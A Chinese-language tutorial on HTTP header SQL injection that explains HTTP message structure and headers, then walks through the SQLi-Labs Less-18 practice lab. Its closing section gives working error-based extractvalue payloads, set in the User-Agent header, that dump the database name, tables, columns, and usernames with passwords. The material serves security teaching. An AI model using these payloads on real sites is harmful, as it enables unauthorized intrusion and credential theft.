目录
HTTP Header概述
HTTP Header注入
HTTP Header注入概述
HTTP Header注入实例
HTTP Header概述
HTTP工作原理
HTTP请求方法
HTTP报文类型
请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-LIne),请求头域(Header-Field)和请求体(Entity-Body)。
响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-LIne),响应头域(Header-Field)和响应体(Entity-Body)。
请求报文组成
请求报文实例
响应报文组成
HTTP响应报文实例
HTTP响应消息状态码
HTTP Header部分内容
- X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)。
- Client-IP:同上。
- Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
- User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
- Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
- Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号
HTTP Header注入
HTTP Header注入概述
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。HTTP Header注入的前提条件
- 能对请求头消息进行修改
- 修改的请求头信息能够带入数据库执行
- 数据库没有对输入的请求头过滤
常见注入类型
Cookie注入 :服务器对cookie字段进行获取 验证客户端身份
Referer注入:服务器记录referer字段用于统计网站的点击量
User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等,服务器根据提供的信息来给客户端推送不同的网页
XFF注入:一些网站的防注入功能会记录客户端真实ip地址并写入数据库
HTTP Header注入实例
目标靶机:SQL-Lab的less-18
典型应用场景:服务器获取User-Agent头部字段值,并用Insert命令将其写入数据库
注入方式:利用Burpsuite抓包,在User-Agent头部字段设置注入payload
分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句
抓包判断注入点 在user-agent后添加一个单引号
服务器响应 ,语法有错误 并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽
能判断出该字段存在注入点
这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误
添加注释也报错
原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent'
括号引发的报错 如果加上)也是不行的
插入数据量必须是三个值 需要额外添加两个值
无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置
源码中是通过insert方式插入数据 所以不能使用union
可以使用报错的方式进行构造sql语句
爆数据库
'and extractvalue(1,concat('~',database())),'','')#
成功爆出当前数据库
爆当前数据库所有表
'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
爆user表所有字段
'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
爆字段值
'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#